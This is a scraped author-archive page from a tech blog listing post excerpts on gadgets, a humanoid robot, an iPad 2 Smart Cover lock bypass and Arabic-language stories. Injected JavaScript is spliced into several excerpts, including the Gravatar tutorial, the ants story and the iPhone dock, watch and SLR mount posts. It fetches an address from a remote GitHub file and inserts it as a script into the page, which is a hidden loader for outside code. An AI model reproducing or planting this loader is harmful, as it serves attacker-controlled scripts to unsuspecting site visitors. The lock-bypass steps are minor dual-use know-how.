Author Archive

Mostafa Dafer

Computer & Communication Eng. Stdnt. Founder & CEO of CoolesTech Knows Arabic; English, learning French, Chinese, and Japanese About me: steve.coolestech.com

Charge Your iPhone Using A Solar Tree!

Written by Mostafa Dafer on . Posted in Featured, Gadgets

Styled on the look of a small bonsai tree this charger uses twenty seven solar panels on the end of each branch to produce energy from the sun and then charge the internal battery. Once charged it can provide thirty six hours of charging power for all sorts of portable devices and the great thing is that it keeps charging so long as there is sunlight. This how the Electree Solar Bonsai works; The 27 solar panels installed at the tip of the branches capture the solar energy which is then stored Read more [...]

Throwable 360 Panoramic Camera!

Written by Mostafa Dafer on . Posted in Featured, Gadgets

We present the Throwable Panoramic Ball Camera which captures a full spherical panorama when thrown into the air. At the peak of its flight, which is determined using an accelerometer, a full panoramic image is captured by 36 mobile phone camera modules. [Via @Johl; Images courtesy of Jonas Pfeil, CC] Pfeil describes how his invention works on his website: Our camera uses 36 fixed-focus 2 megapixel mobile phone camera modules. The camera modules are mounted in a robust, 3D-printed, ball-shaped Read more [...]

Actroid, The Human Robot, When “I Robot” is for Real!

Written by Mostafa Dafer on . Posted in Featured, Robots & Robotics

This is about 3 years ago... However, it's still awesome! It's when the movie (based on the novel) "I Robot" is no longer science fiction! Her maker, Japan-based robot maker Kokoro, says that she is supposed to give patients a heightened sense of security. Actroid-F is very realistic, but actually, she is pretty creepy, too – as you can see in the video embedded below (in which she’s replicating the operators facial expressions and body movements, this is 3 years old however...). var url Read more [...]

Hack Ipad2 Using The Smart Cover

Written by Mostafa Dafer on . Posted in Tips & Tricks, Uncategorized

Steps of Hacking: (This article is for educational purposes only, CoolesTech.com and/or any of it's author are not responsible for any consequences) 1) Lock a password protected iPad 2 2) Hold down power button until iPad 2 reaches turn off slider 3) Close Smart Cover 4) Open Smart Cover 5) Click cancel on the bottom of the screen   What the flaw allows: As you can see in our video above, a Smart Cover can essentially unlock an iPad 2. The person who unlocks your iPad 2 will not Read more [...]

ما شعورك لو وصلتك فاتورة هاتفك فوجدتها 201,000 دولار؟

Written by Mostafa Dafer on . Posted in Uncategorized, العربية

هذا ما حدث مع سيلينا آرونز التي لم تصدق عينيها حين استقبلت فاتورة هاتفها فوجدتها 201,005.44 دولار!! تقيم سيلينا في فلوريدا وتستخدم شركة T-Mobile، وحين استفسرت عن هذا الرقم العجيب اتضح أن أحد إخوتها (على نفس حسابها) ذهب في رحلة لكندا ونسي إطفاء خاصية data roaming التي تكلف مبالغ طائلة. لحسن الحظ Read more [...]

Add Your Photo To Your Comment

Written by Mostafa Dafer on . Posted in Tips & Tricks, Uncategorized

This is a tutorial on how to add your photo next to your comment... By Mary Jaksch Step 1: Go to the Gravatar site This is the site where you can set up an image that will show up across a broad range of blogs and forums. Click on "Get Your Gravatar Today" Step 2: Fill in the form. Use the email address you commonly use.var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); Read more [...]

An Ant Is What It Eats!

Written by Mostafa Dafer on . Posted in Entertainment & News, Featured

  لقراءة الموضوع باللغة العربية اضغط هنا Excerpts from an August 5, 2011 Daily Mail story: ..................... Scientist, photographer and father of three Mohamed Babu said, "The idea for the photographs came to me after my wife showed me some ants that turned white sipping the spilled milk on our kitchen counter.var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data Read more [...]

Retro looking iPhone Dock with Bluetooth!

Written by Mostafa Dafer on . Posted in Entertainment & News, Featured

Retro looking iPhone Dock with Bluetooth You have solid oak and brass features on a dock designed for the iPhone, so many contrasts and yet it looks so right too. This device would make a great feature in an office or at home, the retro handset uses a Bluetooth connection, while an app controls the iPhone and even provides a cool retro looking dialler. Priced at $72 These are the features for the Bluetooth Oak Wireless Headset;var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

Caller ID on your Watch!

Written by Mostafa Dafer on . Posted in Featured, Gadgets

Caller ID on this watch Most people who go to meetings and other functions will place their phone on mute and risk missing that important call. However, this watch uses Bluetooth to connect to the phone and then when someone calls their number or names will appear on the display on the watch face, this means that the user can afford to leave the phone unless the call is very important.   Priced at $69.99 These are the specs for the Bluetooth Watch with Caller ID Display;var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

إبداع البنتو… لوحات فنية رائعة

Written by Mostafa Dafer on . Posted in العربية

للفنون أنواع فمنها ما تستغرق أمامه فترة حتى تفهمه وتدرك الجمال الكامن فيه، ومنها ما يدخلك قلبك (ومعدتك في حالتنا هذه!) فترى فيه الموهبة والإبداع: هذا ما شعرت به لأول وهلة عندما رأيت ما فعلته “ساكوراكو كيستا” بفن البنتو وهو طريقة يابانية تقليدية لتعبئة الطعام: بدأت ساكوراكو Read more [...]

Aakash: World’s Cheapest Tablet Launched in India

Written by Mostafa Dafer on . Posted in العربية

إقرأ الموضوع بالعربية The Indian government has finally managed to bring out the much hyped $35 tablet. The tablet which was named Sakshat, has been renamed to Aakash (which means sky in Hindi). The government has managed to keep up its promise of pricing the tablet as less as possible. For over an year, the $35 tablet has seen a lot of flip-flops in terms of its manufacturing cost, manufacturer and the design. Many Tech bloggers around the world had even questioned the Read more [...]

Iphone 4 SLR Mount!

Written by Mostafa Dafer on . Posted in Featured, Gadgets

"Turn your iPhone into a DSLR using real SLR lenses." $249 (iPhone 4 not included).var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response Read more [...]

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